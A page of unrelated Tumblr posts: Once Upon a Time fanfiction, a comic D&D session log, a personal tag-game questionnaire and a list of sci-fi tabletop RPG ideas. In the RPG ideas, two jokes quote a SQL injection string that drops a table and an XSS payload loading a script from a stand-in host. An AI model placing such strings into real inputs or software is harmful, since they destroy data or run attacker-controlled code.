“She?” That was far from the weirdest part of this conversation, but it was kind of cool if some kind of magic existed where two women could make a baby. Did one of them have to be a dragon? Did that mean she could have a little baby who would look like Robin some day?

“Zorro.”

“Zorro? Zorro’s a girl? That’s brilliant.”

Robin chuckled. “All the fairytales have to have a twist.”

“Anyway, congratulations, before I forget.”

“Thank you.” Maleficent squeezed her fingers before wrapping both of her hands around her coffee. “Lily’s right about the app thing, whatever that is, isn’t she?”

“They’re useful, if you have questions, or if you like tracking things. There are even cute things where it compares the size of your baby with a fruit or a cookie or something.”

“Why would you want to compare a baby to something edible?”

“Makes it less scary.” Alice offered. “Compare it to a marmalade sandwich and suddenly it seems like you can handle it.”

“I think that’s the idea,” Robin agreed.

“So, what’s Zorro like? All swashbuckling and mysterious?”

“She can be.” Maleficent stared upwards, towards the head table and Regina, Snow, David, Emma, the other version of Papa, and Henry. “Kind of brash, really, the first time we met, she wandered into my castle, brave enough to face the dragon.”

“No wonder you liked her. It really means something when someone isn’t afraid of you.”

Robin nuzzled her cheek and whispered. “I’ll never be afraid of you, Tower Girl.”

Blushing a little, Alice took Robin’s hand. “So you haven’t told Zorro?”

“We haven’t had the right moment.”

“Is there a right moment?”

“It’ll never be perfect,” Robin said. “You just have to be brave.”

“Is that what you did, dear?” Maleficent’s smile went soft and indulgent.

“We both had to be brave enough to work it out, luckily for us, it was all true love and rainbows,” Alice teased, and Robin rolled her eyes.

“There were rainbows, but it definitely wasn’t easy.”

“It never is. All kinds of love and complicated. Even when it’s true, or as simple as the love of a mother for her child. Lily grew up far away from me, and since I found out about this little one, I can’t help worrying that somehow I’ll lose this one too.”

“No, no, don’t think that. We’re at the end of the book now, everyone gets a happy ending. Look at Regina, she was evil, now she’s good, and we all love her. She won’t let anyone take your little dragonling.”

“Auntie Regina’s pretty trustworthy that way, I promise, if you tell her, she can help,” Robin added.

Something shifted behind Maleficent’s eyes and she blinked twice, but that didn’t stop a single tear, running down from her left eye. “She’s found her place now, hasn’t she?”

“She’s happy.”

Alice grabbed her napkin and passed it to Maleficent. “It’s okay.”

“Thank you.”

“It’s really going to be okay,” Alice insisted, starting to ramble about how much they’d all overcome to get here, this crazy mashed together realm, but Maleficent knew that. She knew things were different now. Everyone, even formerly villainous dragons had a chance at their happy ending. “We all work together on things here, so, if you need a village to help protect a little wee dragon, then consider yourself family.”

Arms went around her quickly, strong, warm arms that smelled like a campfire on a cozy evening.

Hugs were apparently a thing that they did, and as far as hugs went, it was a strong one, tight and heartfelt.

“Everything all right?” Papa asked as Maleficent eventually let her go.

“Just getting to know each other,” Alice said, smiling at him.

“Turns out these two have a lot in common,” Robin said gently.

Lily’s concerned took a little longer to settle, but she sat, slowly losing the tension in her posture. “Making friends?”

“Yes.”

“Yeah, I guess we did.”

“Okay.”

Maleficent touched Lily’s cheek. “It is, dear.”

Robin leaned in close enough that only Alice could hear. “Did you just volunteer us to babysit a little dragon?”

Giggling, Alice shrugged. “I might’ve.”

“Just checking.”

#ouat #Anonymous #dragon queen #curious archer #total fluff and soft things and it was fun

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brownstonearmy · 3 years

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2021-07-25: Careful What You Wish For (Pt. 3)

Thursday September 10 (early evening)

On this windy and overcast Thursday evening, the workday for our adventurers is winding down. As our intrepid party members set out to find Dion for more information, there's a sound of rubble shifting underground. It's not an earthquake, but a wall collapsing on Bob the Modron. Bob escaped, though not without consequence: his eyes are now stuck looking all the way to the right, and he wanders off on his own to find assistance.

The party barely made it out of downtown when a dart plinks off of Raven's armor. For our new readers, Raven is Q's nom de plume for today. The dart is covered in a green liquid with a note attached. The note says "The friend of my enemy is still my enemy," and the substance on the dart is recognized as likely being some sort of poison.

Lucky reflexively turns invisible, and her clothes begin to smolder as a consequence of a wild magic surge. Hopefully this surge will last long enough for Hilaria to see and Lucky can finally make that amazing pun about being smoking hot. The party notices a shadowy figure dashing away, and thus the party gives chase because shadowy figures dashing away are almost always harbingers of malfeasance.

Spleenifer's chainmail clanks and clatters as she gets up to speed. Townsfolk notice the tall woman and yell for someone to go get Silas. It appears Spleenifer has been misidentified as a suspect in the poop tornado (turdnado?) investigations since she is a woman with poopy passion and also a spellcaster.

It doesn't help matters when the town's alarm bells begin to ring and a foul fecal funnel cloud forms nearby. Everyone starts fleeing the area, but magical walls of force begin to cordon off the area. The shadowy figure dashes down an alley just as the magical barricade blocks off the path.

Lucky is the one closest behind the shadowy figure, but she quickly runs into the magical wall of force. Jrr'all Oshtreeth is standing on the other side of the barricade with a collection basket as people unsuccessfully try to push their way through the barricade. One platinum piece is all it takes for the Reformed Church of the Dragon to whisk you off to the other side of the barrier and offer sanctuary from this storm. Lucky just uses Misty Step to get past it.

As for the problem of allowing her companions access through the barrier, Lucky has a solution for that, too. She leaps up and tickles Jrr'all underneath his toupee, which breaks his concentration on the barrier. The townsfolk spill through the gap in the barricade and the party continues to give chase all the way to the warehouse where Brynnan blew a hole in the roof in a show of power.

From outside the warehouse, two voices can be heard arguing. The voices appear to belong to Rooney and Hjalmar; and Yance, if he's inside, is being quiet and stealthy. Raven and Spleenifer sneak their way into the warehouse through the front door, while Lucky is peering through the window to get more information about what's going down in the boss's office.

Inside the warehouse boss's office, Rooney is trying to persuade her father, Hjalmar to give up his career as an organized crime boss. Hjalmar is too prideful to do so, and Rooney turns to violence and starts beating the crap out of Hjalmar. It is at this point that Lucky intervenes by breaking the window and casting Xear's Chaotic Command to summon 50GP worth of chalk dust into the room where Rooney and Hjalmar are fighting.

Spleenifer attempts to be stealthy in spite of her chainmail and gets into an empty crate to Solid Snake her way through the warehouse. The fight inside the boss's office is escalating and the door is blasted open. Chalk dust flies everywhere, including underneath the upside-down box where Spleenifer is lurking. The dice gods are favorable this evening, and Spleenifer's abilities seem to be heightened as long as she remains in the crate. It should be noted that this was not a homebrew mechanical bonus. Spleenifer just rolled rolled really well inside the box and not very well outside the box, which makes for quality content.

Meanwhile, Raven is methodically searching behind stacks of boxes and barrels to search for Yance. It takes a bit, but Yance is soon located and Raven blasts him with charm. Both literally and metaphorically. "What's your deal?" Raven asks him. "Why is you shooting at us?"

It's because of Norm, and the party was friendly with Norm, so he didn't really trust their judgment. But that's all behind Yance now, because he's Raven's biggest fan and bestest friend ever.

Back in the boss's office, Rooney has pummeled Hjalmar to the brink of death. Lucky casts Suggestion on Rooney to stop fighting in order to avoid having to explain why the party just happened to be at a murder scene. The spell succeeds, and Lucky soon finds out just how horrible Hjalmar is: he'd rather sacrifice his own children than live a less opulent and influential life as a crime boss.

With a motivation like that, Lucky gives the go-ahead to Rooney to continue dismantling the patriarchy. And by "dismantling the patriarchy" I mean "murder."

Rooney flies into a rage and SHIFTS GRAVITY in the warehouse. Barrels and boxes tumble all over the place as gravity now points to the west. Remember what I said about the dice gods loving Spleenifer in the crate? She's able to do all sorts of acrobatics while using the crate to protect herself long enough to grab Yance before he gets crushed too badly by the debris from the room.

Now would be a good time to attempt to leave the warehouse, so Raven casts Vicious Mockery to give Rooney disadvantage. It hits her right in the daddy issues, but that doesn't stop Rooney from shifting gravity again, but this time to the east.

All the loose cargo and debris in the warehouse now tumbles to the opposite end of the building. Spleenifer in her crate has Yance grappled with one hand like in an action movie as Rooney summons another poopy tornado that begins tearing apart the warehouse.

Lucky tries to save Rooney from herself by turning her into a gaseous form. As a related side-note, this was the time when we learned that a creature in gaseous form doesn't get blown away, regardless of how strong the wind is. Seriously, the spell description says nothing about it. Anyway, Lucky rushes headlong into the tornado and teleports both of them to Mom's medical tent on the athletic field.

The turdnado disappears and Raven and Spleenifer begin to search through the rubble for Lucky. Raven calls out to her, but there is no answer. Where could she have gone?

At the medical tent, Lucky puts a kettle on and makes some tea for Rooney. Rooney is sobbing and apologetic for what went down, but she is also extremely thankful for Lucky's compassion at this time. In time, Rooney's whole story will come out, but for now, Lucky just asks that she not push herself too much.

Back at the warehouse, Raven hears a metallic knocking sound. It stops for a few seconds, and then starts up again a little bit closer. Soon enough Spleenifer hears the knocking, too. The two of them hide behind what little bits of the warehouse are still left standing, but Raven soon determines that it's no cause for alarm.

It's just Bob knocking on every door in the neighborhood, still looking for treatment for his eye problem. Raven is decently versed in medicine, but really, how do you even treat a modron for medical maladies? Perhaps Mom's medical tent?

Bob, Spleenifer, and Raven set off for Mom's, and are pleasantly surprised to see Lucky already there. They are less-pleasantly surprised to see Rooney, but things aren't outwardly hostile, so that's a plus. And this is the spot where we conclude the adventure for tonight and our adventurers shall level up to 18!

Stay tuned next time for more!

#Dungeons and Dragons #shits and giggles #adventure log #warehouse #rooney #gravity #bob #tornado

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verdantantlers · 7 years

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I was tagged by @bohemiansunflowerz for this little Q&A piece. It’s been honest years since I’ve done one, and I love the questions to this, so let’s give it a shot, hm?

What’s your favourite song(s) to sing/hum? It depends on what I’ve been listening to recently. Adam Labert (Evil in the Night or The Original High), Lady Gaga (Donatella), Todrick Hall (Low and Lyin’ to Myself), and Janelle Monae (Django Jane and Yoga) are some of the more recent ones that have been floating through my head. But I always seem to go back to a couple of melodies regardless how long it’s been since I heard them: Route 3 and the Bicycle Theme from Pokemon Red/Blue are my instant go-to melodies whenever I want to hum something. If I want to sing something, I usually have my brain pull up Tsubasa wa Pleasure Line by Kuribayashi Minami (opening theme to Chrono Crusade), Dreams, Dreams from NiGHTs into Dreams, or Pokemon Johto’s Theme Song. Literally been humming/singing these last few for well over a decade. Never fails if I need a melody to pull up without thought.

What’s your favourite flower/tree/plant? Very hard to say. For all that I love nature, I never had anyone to teach me about individual species, so I know only the common names and appearances. But I love trees most of all plants. They always spoke to me (literally and otherwise). I always felt a connection and awe of them, like they were beings that looked on on us wandering creatures and saw so much, knew and know so much. They’re the original royalty of this world; them and the mountains and waters and winds of this planet. I love them so much. It’s always been my plan to sit down and educate myself about different species of plants. Flowers and trees especially. Someday soon, I hope I can learn more, and finally get in touch with the side of me that has always been in love with them, that always saw them as my blood and kin.

Favourite colours? Grey. But, I have combinations that I love specifically. Browns and greens, blues and whites and greys and blacks, sands. I love earthen colors and water colors. But I also love vibrant rainbows of every single color, rippling in a melody from one shade into the other. I’m pulled to rainbows like moth to flame. And when you have those brilliant neons on a pitch black or dark grey or deep brown background? Ugh. My eyes draw to that so quickly. I love them all. But over time, definitely can say grey is my favorite, and the entire myriad of rainbow hues out there is loved right after it.

What do you always doodle? I do patterns. Spikes and curves and spears and circles, and then I color them in. I don’t have an example of it sadly. Everything’s packed away right now, but I also doodle faces, usually female since I never put in effort to teach myself male structure (something I once again have always planned to remedy but haven’t yet), and I love drawing dragons and horses, also-- hair. Love, love, love drawing hair.

How do you take your coffee/tea? Tea usually just with sugar, though I like oolongs plain. But I love most teas. Earl greys, lavender is a favorite, english breakfast black tea is my most common, with sugar. Drink that almost daily. Coffee I have to take with sugar and lots of creamer, because I do not like the taste of coffee. However, I fucking loooove the way it smells. But I drink both. I crave tea 95-98% of the time. Coffee I’ll drink because it’s more filling and helps to add to my meals.

Favourite candle scent? Evergreens and pines, hands down. Also anything with cinnamon. I really enjoy vanilla scents too, and, as always, lavender. But the evergreens/pines are my favorite. It makes me feel at peace. I also love woodsmoke, but it’s hard to find candles that capture that scent properly.

Sunrise or sunset? It’s hard to choose. I think sunrises, because it means I get to be in that wonderful time when the world is still asleep, and you get to see the sky wake up gradually, and the world around you come slowly into view in these shadows and shades of grey, until colors begin to take form. Sunsets are fine, but they blind my eyes more often than they ever are something I’ve enjoyed. But if you catch a sunset on a cloudy day and you have a clear view of the horizon-- oh, now that’s something beautiful. The colors are always so much more powerful than those I’ve seen in sunrises. So I love sunrises for being able to see the waking earth, but I love sunsets for admiring the sky as it paints itself before night comes.

What perfume do you wear? There’s this perfume I love called Kissing in the Rain that reminds me of my partner and it’s probably my favorite. There was also this grapefruit one that just smelled delicious but it’s been discontinued for a while I think. So, no luck with that anymore. Both are Walmart buys, if you’re ever looking.

What’s your go-to dance move when you’re alone? Ah shit... it’s been so long since I’ve danced at all. I don’t really have or do dance moves? I mean, as a joke I always turn to Stayin’ Alive’s disco moves or to The Monkey from Johnny Bravo, but otherwise I’m terrible at dancing. XD It doesn’t help that I’m usually waaaay too self-conscious about it to ever really try to dance. Ironically enough the one dance type I feel comfortable in is line dancing, like Cotton Eyed Joe and the Cupid Shuffle and that type of shit. X3 Electric Boogaloo and whatnot~ Look, I grew up around a lot of Hispanics and if you see them dance you almost instantly develop a horrible fear of your own dancing capabilities. *Laughs* Because they’re usually fucking excellent at it and never look like they need to try.

Favourite quote? This one. It’s not a well-known quote, per se, but I’ve been quoting the last part of this poem ever since I read it here on Tumblr. It speaks to and of my very being and purpose in this world, so I can not stop drawing from its power. Specifically, this part: “if you could retell the tale wouldn’t you want to tell it kinder? wouldn’t you want to give them peace, even love, where you could?“ I don’t really have any quote that stands out over all others, but I do have a tag specifically for quotes that resonate with me in some way or another. If you ever want to look them over, just click here.

Favourite self care routine(s)? Showering, walking, listening to music, cleaning my environment (inside the house). If I don’t have neatness, I clean and organize. If I can’t think, I listen to music since it’s hard to walk like I used to up north. If I feel low energy, I take a shower or make myself a hot cup of tea. Those almost always help. Oh. But I also watch a lot of YouTube or streamers on Twitch. Trueheals, Markiplier, LordMinion777, Muyskerm, Cryaotic, BreadHeroDan, PatrckStatic, GarBluemoon, TheTeshTube, Foxtrot44, JackSepticEye, Dexbonus, etc. They’ve all helped me through a lot of shit, and they continue to do so even to this day.

Fuzzy socks or house slippers? I hate both. I: If I could go barefoot everywhere all the time, I would. Unfortunately I can’t, and even though slippers and me have a lifelong vendetta against each other (slippers have tried and almost succeeded in killing me on multiple occasions throughout my life), I do wear slippers. Socks get too dirty too quickly. D:

What colour are your eyes? Blue da ba dee da ba die. No really, they’re blue.

What’s your favourite eye colour on others? I don’t really have a favorite. I love all eye colors. I think the ones that always shock me the most though are the ones that are really, really green or really, really white/icy/grey colors. Those are just stunning to look at. But how can I choose? It’s like making me pick a favorite color out of the all the colors of the rainbow again. I love how brown eyes always hide different undertones that reveal gemstone hues. They have reds and golds and greens and all sorts of magical veins of color in them and the ones that are pure brown still have these rich shades that make you feel like you’re looking at the sun or at precious stones. I just-- fuck I love colors. XD They’re all beautiful.

Favourite season? Autumn. My heart and soul is in the autumn and forever will be.

Cheek, neck, or nose kisses? Neck. *Thumbs up* I love to give and receive them but only to/from my partner. Demisexuality ftw~ <3

What does your happy place look like? New York City. It’s NYC. My home. ...I miss it. My other happy place is somewhere I miss too. A cottage in the mountains, in the middle of the forest. Trees all around a clearing. A single road leading to the house there. Mountains all around. ...quiet, alone, peace. I have two happy places, and I long for them both, all the time. The only other happy place I have is my car. Just... being on the road, driving, especially at night. It’s the only peace I have access to these days.

Favourite breed of dog? Okay so if dogs = colors, my answer again would be all breeds = rainbow. I grew up/was raised by a german shepherd so I’m very partial to that breed in particular, and I adore corgies-- I think they’re adorable as fuck. But I love big dog breeds like Irish Wolfhounds, Alaskan Malamutes. I’m a sucker for all dogs though. All of them. No dog is a bad dog. Ever. They’re all precious puppies and I adore every single breed and mix and other. <333

Do you ever want to be married? If so, what colors would you pick for your wedding theme? Well, ironically, never did want that no. I didn’t want to be married, didn’t even want any relationships. Never saw myself dating. Never saw myself having a partner or anything like that. Fucking surprise, surprise. Now I have a partner--have had one for quite some time. Extra surprise, we eloped. So no proper wedding. Sorry. Our families fucking hate us so it would be a waste of time and money-- a huge waste of time and money-- but I think if we did colors this time, black and red, probably. Them in black, me in red. Just to flip off the douchebags in our lives that never stop telling us how much they hate their own kids, their partners, and think it’s been a mistake for us to be with each other from day fucking one. *Laughs* If we ever did have a proper wedding, I think we might have done it with a green or black theme though. It would have been nice. But, eh, that’s probably never going to happen now. No one to invite.

Cursive or print? Man, I haven’t used cursive since... pffft, maybe since I was in my preteens? Definitely stopped doing that around the time I got out of elementary school. I print everything when I hand write it. Otherwise-- the miracles of computers, am I right?

Favourite weather? Storms, rain. I love rainy days. They’re my absolute favorite. I also love cool, windy days with a chilly wind and a warm sun. Or overcast days where the sky is grey and the entire world looks greener and calmer. <3

I tag: @mystuffstuff, @definefandom, @lostwhitequeen, @radsity, @rp-sephiroth. Go forth and maybe don’t vent as much as I did. XD Also, any of my RP buddies, feel free to jump on the bandwagon. Been a while since I’ve seen you guys.

#.meing #Tagged #Personal Things #bohemiansunflowerz #Thanks for the tag Azzy~ <3

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A Look Ahead

2019 Diary Dump

Things I should be cleaning+expanding for posts this year

The "Anything Else": a horrible [whatever]-ball creature

The "Star", a player class [alien] -- treat as biological+android

Upon death, turn into star; whenever you take more than half health, nearby players panic. Stress heals you. Panicing inflicts you with happy things; happy things hurt you -- heart attack as "Another's Heart (fuse w/ true love); instant death".

role play tip: anthropomorphized wmd

Remindamine

Forgo Rest and make a Combat check Success: fiddling with a Trinket adds Remindamine (x1) to your Inventory.

Kiss Trinket during combat to use Remindamine (as Action) and gain the effects of Stimpak

Failing a check under Remindamine's influence adds the Accelerator quirk to your Notes (|Stress & Panic| as "Any nearby Panic Effect via in-fighting is always Psychological Collapse").

"Say goodbye to the labor market and welcome to the labor force"

"It's never too late... To experience the worst pain in your life."

“Your own space collapses into you!”

"your ship's hull envelopes you. Body save or 2d10 dmg.

Great talk. Good topic. Okay conclusion. Hilarious Q&A https://youtu.be/E8Lhqri8tZk?t=84

"We [consumers] don't even have to play the game we automatically bought"

Emotion bomb impels all electrical personalities and electrically-implanted persons to descend into bouts of wailing misery and distrophy for 2d10 rounds. Wailing and screaming. Loud. First used as proximity mines by military to trigger distress beacons on silent-running enemy vessels.

The first 10 frames had me saying wait what?

The next 10 frames had me repeating myself as though i had been sucking into some sort of ritual choir the planets gained root access to perform upon occasion.

Ain't got love til ya got none, son.

You carefully probe the tenticle and it collapses in on itself, pooling to form a mass causing two sides of the collapse to bulge, to darken, and tighten, forming sharp angles diviting toward a collapsed center. Just as you begin to make out the tiny fingers covering these two angular bulges, they rise together by the tens of hundreds and fall together in rhythm, beconing you forward. And your body does move forward, the beating fingers bringing you closer to the divot, the divot opening and closing as gear around you is vortexed in.

What do you do? Take all the time you need to answer. Also, hi. Welcome to game night. Glad to could make it.

See a new horror through a filter (ie vid screen) Panic Check [+]

You notice on closer inspection, the business suit is in fact exoskelatal chitin grown by this person into the shape of a jacket, tie, and slacks. The tailor being this person's own DNA does not lower the amount of prestige you afford the dress as the dress exemplifies the rarity of the individual themselves down to their very molecular sequencing.

Speaks as with through pop rocks in the mouth (Noclip Astroneer Game Foley https://youtu.be/tfUjl4owxTQ?t=1923)

Actions akin to:

Traversing | cost |

broken glass | d10 hp |

melted metal | 3d10 hp |

"'Door Detinator' Hover text appears I understand"

Meditation:

To succeed a Meditation check, swap the digits of your Stress; roll under that value [9=90; 10=1; 11=11; 12=21].

After a horrible weeping fit, she sees the bottle and shrinks herself again, only to find herself adrift in a sea of her own tears.

Collect o2 tanks and other gear drift orbiting the vessal

"Hamburger menu" should be called the "bread box": less sylables, more information.

d10 "Company Ʇasked you to retrieve what? From where...? ...Why? And you're paying me how much?"

Notification [Your vote has been recorded. This criminal will continue to be displayed publicly, prominently, and perspicuously for +[your credits/10] minutes longer. A receipt including vote funds allocations toward both container and guard upkeep has been sent to your comms.] Buckets below them raise money to keep both them there and the guard funded. Guard focuses effort on profitable offences only. No taxes exist.

Wip | You know what item to bang on for the sound you want to make and how best to reach it from where you are. +10% Art checks; treat Hacking checks as Art(Combat) checks. | Splice onto data cable at connector NM-B 14/A on the player's Android Character Schematic Sheet | Processor burns out after 1d5hr performance. Subroutines emulate channels on neaby objects for an additional 1d5hrs, lightly overclocking sound card, filling the room with imaginary noises for -5 Intellect.

Denver Boot

Our bootloader has changed your ship's filesystem without updating the partition table; you will not be able to lift off. An approved OS is available from your ship's computer for power and business purposes. When cleared for departure, install the patch we send to your registered comms. Do not lose your comms. Follow patch instructions carefully. Do not skip step 6 subsection F "Opt-in Features". If you fail to correctly install the patch in the allotted time, your departure window will go to the next ship requesting departure. Resubmit your departure request. Uninstall all progress. Wait for the next patch to arrive. Incorrect patch installation or else installing a modified patch may brick you ship. New Computers with the appropiate patch preinstalled may be purchased from any of our certified parts dealers. Loans are available for any such purchase. Welcome aboard.

I check off items when players acquire them. Roll Scavenging on odd item needs. Fail: 1) don't have it or 2) it breaks after 1 use. Else: 1) they brought it along or 2) they found it here or 3) ship's drone delivers it.

Today, slim exosuits are in vogue and Japanese elderly wear some to work at airports longer. In a century, coveralls probably come standard with plenty of carrying capacity. Crush warning: don't let the power fail.

Sinusoidal Copse

Plumes of staticy smoke burst in waves to pass between and from and into trees. Some plumes get lost, dissolve in beams of sunlight. Instruments clutched in fists of bone speckle the forest floor, gemlike. Doctors bags of vials and saps neatly arranged collect molds and moss. No insects near these bags. Load the vials into the instruments; play to capture the smoke in the vials. Watch the smoke combust into sap as your mind overloads with tales of the past and the future events they've set in motion. Relieve d50 Stress. Check for addiction. Find another plume.

Curvy Dragon Virus

There's always a forge in a fold in a space in the room with you. This forge moves as you move, but corner it and reach inside and a xd10 crystal hook (where x=fingers) will grow from your hand. Hook shatters after 1 kill; corpse turns to ash. Body save or lose a finger to ash. Arm status as Immobile while hooked. Prosthetic fingers cannot crystalize.

Curvy Dragon Virus

There's always a forge in a fold in a space in the room with you. This forge moves as you move. But corner it and reach inside and a xd10 stained glass hook (where x=fingers) will grow from your hand. Hook shatters after 1 kill; shattering glass imprisons corpse. Roll save or lose a finger to ash. Grip as Immobile while hooked. Prosthetic fingers (however gorgeous) cannot grow hooks.

Kill the forest spirit

Help the mining company continue clear-cutting. Mobilize the boar furries to gain 2dx50 Gunner mercinaries while in the forest. Spirit arrives at full moon (every 5 days -- rotation speed makes moon diamond-shaped; 5 flyovers per day). Decapitate the spirit's town-sized head: Neck (left) Neck (Middle) and Neck (Right) each have Hits 10(1000). May take a couple nights. Spirit has no attacks. Forest has mind tricks. ~15 minute stake-out adventure.

Clarity (x1)

Spend 1 Resolve and roll under your Stress to critically succeed your next check. Clarity can also be spent during certain port events: casting out a demon, gaining access to a port, fixing an ancient devise, etc.

Greater Bargain

Anger your beliefs and roll under your Stress to relieve 50 Stress. Gain: 1 Demon (Max:4) or Psychological Collapse. Demons cause Nightmare(Sanity) saves (1: Once a tenday 2: Every fifth night 3: Every night 4: Every rest). Demons are rarely if ever removed.

Dead Planet

Everyone passes cards around in a circle. Anyone can lay down a pair (called an Artifact) to reverse the order of rotation. The first pair of the game must be in the same suit as the last card in the winner's hand of the previous game (or in the designated promethean suit). The next pair played must either climb up or descend down the number line (called Evolving) from this pair. If you are out of cards, the hand size of the table is lowered by 1 and you keep cards until you have a hand again. The player with the most Artifacts (pairs) wins.

When the game is being described to new players, the instructions are in the form of a story: a story about a people, a people who spend resources carefully and carefully pass powers from region to region as the stars pass overhead. But then one day a group of people who are starving decide not to pass their power. And everyone agrees to continue passing their power anyway. This repeats until everyone is starving and no one is passing power anymore. Traditionally, players eat their last card (or give it to a lover).

Durdanstouch

Uploaded minds piloting nanoships dock on your body. They use your body to build vehicles. Opposed check to discover (Intellect 80 - may gain [-/+]).

In 2d5 days, brain stem compromised: there is now a 1 in 10 chance the job you complete is completely different from the job you thought you were running.

You may have done something bad. You are not in your ship. You were not caught. You are not where you were. The time is not what it was. These are not your parking stubs.

You believe you will not be believed; pressed, you will lie at [+ +]; Fail: Durdenstouch speaks (short conversation). Opposed check to stop believing (Intellect 80 - may gain [-/+]).

Soilgeta. Keep your feet in the dirt and off the deck. Motor shafts vibrate, simulating most any surface. Vibration dampeners keep soilgeta vibrations off the ship and on your feet -- safe to use on any craft. Print a pair today.

A tablet. Draw an enemy. Tablet's processor attempts to recognize your sketch. It prints bots cut, mold, and crop a percieved subject in the area to the changes you have made. Roll Art check. Damage equal to whatever you succeed by.

In order to survive sculptings' high-dust environment, normal methods cannot terminate Davisculpt nanobots. To remove jobs from queue, see Deactivating Exculpated Animated Davisculptors. Avoid exposure: Davibots will sculpt human matter; expose to vacuum any room Davibots have been working for at least 24 hours after job completes. Not for surgical use.

Deadeyelion Plumes

During pollen season, airborne seeds from an invasive ornamental fairy-ring plant use flagellum-like radicle to crawl under the corona, enter the retina and grow a tiny tree in a host eye's center.

Tree roots repurpose limbal stem cells to slowly reverse the optic nerve, eventually absorb thought patterns for information and may secrete minor actions (like eating habits or an affinity for looking into lights) benefiting the plant. Infected hosts think they can see fine, but what they see is only the tree's roots' interpretation of the brain's interpretation of the eye's nueral signals of depth and color.

If seedling is spotted in time (Symptoms: fatigue, runny nose, itchy eyes lasting 7 to 9 days), surgically introducing Grayphids into the eye has been know to sometimes revert nueral patterns to normal, but blind spots in the shape of a dead tree remain.

If tree forms and is never spotted, the host's eye will eventually eject from the face via internal pressure built into the optic nerve, functioning as a makeshift seedpod. In low gravity, eyes have been known to travel a considerable distance, leading to a wide distribution of the species.

Gaunt fail to materialize completely due to magnetosphere's interference, surface instead as d10 Infectious Goo:

0; snails crawling into ear, secretions cause obsessions with creepy sculptures and deafness (daily Isolation [Sanity] saves)| 1; ball lightning infestation inside buildings| 2; tropical hailstorms -- when evaporated fill lungs with a cold sensation; host must climb to low atmospheric pressure locale in d5 days or die from freezing| 3; daily gravity spikes cause perfectly circular sinkholes under heaviest skyscrapers one by one| 4; snowballs perpetually rolling around, breaking apart to multiply and hunting down creatures for subsistence| 5; puddles, once stepped in cause rain to fall in a 100m area around host 24/7| 6; noxious weeds secreting oily, prismatic, shimmering fog banks spreading volatile material and making a bee line for the nearest wildfire| 7; cuckoo fungus growing under suburb homes replacing any fetus with a fungal skinwalker adopting the appearance of infant (except its green, host keeps birthing new infants every d5 months and loves them all equally)| 8; airborne eye snakes (tiny), once in contact with eye, begins secreting a mucus to liquidate it, moving on to fill the sinuses and lungs, slowly drowning the blind host then escapes out the mouth| 9; Brain capes|

Governments blame one another for tampering with geoengineering and bioterrorism as a result, inevidably enter war as a political imperative while scientists work tirelessly to find funding for even classifying such illnesses and events.

Hylocolevotive (Hi-Loc)

Fuel-cell powered magnetically lifted locomotive. Seats 20 (more room atop roof). 3.6 ton cargo capacity. A glorified trailer with 3d-printed carbonfiber casing. Lighter than air fuel cell offers 600 km of travel in 1G. Discontinued: prone to tipping during high wind conditions. Eric Batty, captain of the Lamentine, once jury rigged one with a satalite's ion propulsion system to create an emergency escape pod.

Medicinails: "Got any nail?" voxel-based protien nails originally designed to hammer out problems with bones. Protien nails were inserted anywhere, were painful, but were highly effective at holding bone in place self-sealing their own wound, and dissolving after accelerating the healing process. A medical hammer [expensive] was used to set protien nails [cheap] and was required to help avoid breaking or bending nails during installation. Only, these bent nails, it was found, released a powerful dissociative effect. There's whole tribes of people sitting around hammering nails into themselves staring at them hoping they bend and moving on to another spot if they don't.

Drill Babies

Messiah invented a crane with laser and lens attachment believed to "mine" an adjacent dimension. "Hired" a colony ship worth of occult-obsessed free labor and hasn't been seen or heard from since. Cult's been buying fuel and parts and drilling away quietly. Each trifecta of 3 large celestial bodies may supposedly be mined once for "resources". Questionable sources supply the only footage of their crane, the "Key of the Other", in operation wherein it pulls a curious planetoid from the nothing "to be broken apart and analysed" the narrator concludes. Such samples allegedly have map-like structures, hallucinagenic gases, potent, volatile sludge, odd skelatal remains or mercurial matter within. One report includes subliminal "knocks" coming from inside a planetoid stored unopened at Drill Babies-owned and protected AX2198i-437b where it awaits testing equipment for further inspection. Each day, one Gravrnet correspondant reports, the knocks grow louder.

Ship named MUSICAL'); drop table BAYS;-- docked while players were out, resulting in critical failure of dock software; displays reverted to previous version: players ship parked under Manateagle instead of Crocodactyl.

The good Come Now Even has prepared a visit for us? At eight? oh god. Shall we mosey on over then -- or flee?

"><script src="//zzz.xss.hi"></script> University-owned honeypot LLC. Tags companies requesting acquisition as "algorithm-run". Logo: ♁ (Drawn as bee).

Gymnasium filled with igloos of lab-grown leather. Hand-blown beads, bones, and iron oxide and ash lettering decorate the first one. Lettering says "This is not a tipi"

Papers on growing ship-sized tartigrades, both possible and proven-ineffective ways to hunt them, and sectors offering promising levels of relic radiation propogation for them to both subsist on and use for locomotion line the insides.

Ted Earonarm

d10 Indefensible Satisfaction Guarantees

I'm going to disolve you from entropy.

A [_Control_Faction_] contractor taking the fall when their [_Rival_Leader]'s shipment of [_Resource_] is sabotaged, the [_Denizens_-_Who_Are_They_] called [_Denizens_-_Name_] becomes [_Core_Leader_] of [_Group_] the following morning upon encountering the [_Crisis_] on the [_Core_Station_] in an event resulting in the [_Rim_Landmark_] before you. It is said their last words, [_Denizens_-_What_Do_They_Want_], can still be heard whenever [_Station_Name_], the [_Celestial_Body_], is on the horizon. [Compatible with Station Citykit APoF pg 41-51]

One person is on a crucifix serving time. Thier jar is almost overflowing. Tourists -- although the signs of crime are clearly posted by the public servant -- may be confused about what the jars and their people are for. By awarding a performance, they award time to the indivual as well as the community.

Dreamweaver: Wake from a Nightmare [TDP pg 28] and progress immediately to the nearest mess hall. Intellect check upon encountering an aquaintance, failuse causes you to tell the aquaintance about your nightmare; they tell you they had the same dream. Lose 1 point in a random save, permenant.

SchizOut: preventive care for expected deep-space trauma. Jewelry. Formats to brain within 72 hrs. Produces psychological afflictions and disorders. For medical mental exercises only. Prescription required. Jewelry shatters with applied pressure on thought command. Pranks involving gifting the jewelry outside its usual packaging lead to public outcries, discontinuation and company collapse. Havocscope value: 10k cr

inspired by: https://photos.app.goo.gl/Un5FjM19q6EHhxte8

PolyDermal Lamination Vaporees/2ndskin/Neotox. Friction wicks perspiration+deadskin+oils. Critical compression levels or body temp engage blowoff valves along arms and head (~15 min intervals). Custom valves (iCoola, Bro Jack, etc) personalize exhaust system.

Light spinner's motor is burned out. Need to push it around the track to sustain plant growth. Shifts are 10 hours. Plant leaves have forgotten how to turn, are dependant on the light rotating. Ignore the knocking inside the motor casing. Any more questions? Then I'll leave you to it. Welcome aboard.

